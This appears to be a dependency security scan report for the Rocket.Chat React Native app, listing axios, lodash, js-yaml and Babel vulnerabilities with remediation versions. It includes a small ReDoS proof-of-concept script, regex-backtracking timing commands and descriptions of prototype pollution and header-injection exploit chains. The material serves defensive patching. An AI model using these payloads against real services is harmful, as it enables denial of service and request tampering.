Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @babel/runtime
  • Introduced through: @nozbe/watermelondb@0.28.1-0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative @nozbe/watermelondb@0.28.1-0 @babel/runtime@7.26.0

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the replace() method in wrapRegExp.js. An attacker can cause degradation in performance by supplying input strings that exploit the quadratic complexity of the replacement algorithm.

This is only exploitable when all of the following conditions are met:

  1. The code passes untrusted strings in the second argument to .replace().

  2. The compiled regular expressions being applied contain named capture groups.

In the case of @babel/preset-env, if the targets option is in use the application will be vulnerable under either of the following conditions:

  1. A browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 is used when processing named capture groups.

  2. A browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 is used when processing duplicated named capture groups.

Note: The project maintainers advise that "just updating your Babel dependencies is not enough: you will also need to re-compile your code."

Workaround

This vulnerability can be avoided by filtering out input containing a $< that is not followed by a >.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @babel/runtime to version 7.26.10, 8.0.0-alpha.17 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: js-yaml
  • Introduced through: react-native@0.81.5

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 babel-plugin-istanbul@6.1.1 @istanbuljs/load-nyc-config@1.1.0 js-yaml@3.15.0
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 @jest/transform@29.7.0 babel-plugin-istanbul@6.1.1 @istanbuljs/load-nyc-config@1.1.0 js-yaml@3.15.0

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.

Remediation

Upgrade js-yaml to version 4.2.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.21

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative lodash@4.17.21
    Remediation: Upgrade to lodash@4.17.23.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.23 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.21

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative lodash@4.17.21
    Remediation: Upgrade to lodash@4.18.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity

